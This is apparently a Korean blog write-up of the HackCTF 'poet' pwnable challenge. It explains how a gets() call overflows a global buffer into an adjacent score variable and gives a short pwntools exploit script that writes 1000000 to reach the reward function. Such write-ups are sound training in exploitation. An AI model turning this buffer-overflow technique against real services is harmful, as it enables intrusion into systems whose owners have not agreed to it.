728x90
check
- 64bit
- NX
Analyze
pseudo code
- 초기화되지 않은 전역 변수 poem이 bss 영역에 1024byte만큼 할당되어있다. 이 때 poem의 값을 gets 함수로 읽어들이며 버퍼오버플로우 취약성이 발생한다.
- dword_6024E0 변수는 점수라고 생각하면 되고, 매번 get_peom() 함수를 호출할 때마다 0으로 초기화한다.
- poem을 dest에 복사한다. dest 변수는 0x410 byte만큼 할당되어 있다.
- dest 에 "ESPR", "eat", "sleep", "pwn", "repeat", "CTF", "capture", "flag" 의 단어들이 포함되어 있을 때마다 100점의 포인트를 추가한다.
- reward() 함수에 도달하기 위해서는 rate_peom() 함수의 결과 dword_6024E0 변수의 값이 1000000이 되어야 하는데 get_poem() 함수에서 매번 그 값을 0으로 초기화하기 때문에 여러 번에 걸쳐 reward()함수에 도달하게 할 수 없다.
실행
>> get_poem()에서 poem 변수에 대한 값을 입력 받을 때 gets 함수만을 이용해 입력받기 때문에 오버플로우가 발생하므로 이를 이용해 dword_6024E0까지 도달하게 dummy를 채워 값을 바꾼다.
Exploit
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3012)
#p=process("./poet")
p.recvuntil("Enter :\n> ")
p.sendline("")
p.recvuntil("> ")
pl="A"*(0x6024E0-0x6024A0)
pl+=p64(1000000)
p.sendline(pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] 1996 (0) | 2021.02.13 |
---|---|
[HackCTF] g++ pwn (0) | 2021.02.13 |
[HackCTF] RTL_World (0) | 2021.02.11 |
[HackCTF] Yes or No (0) | 2021.02.11 |
[HackCTF] BOF_PIE (0) | 2021.02.10 |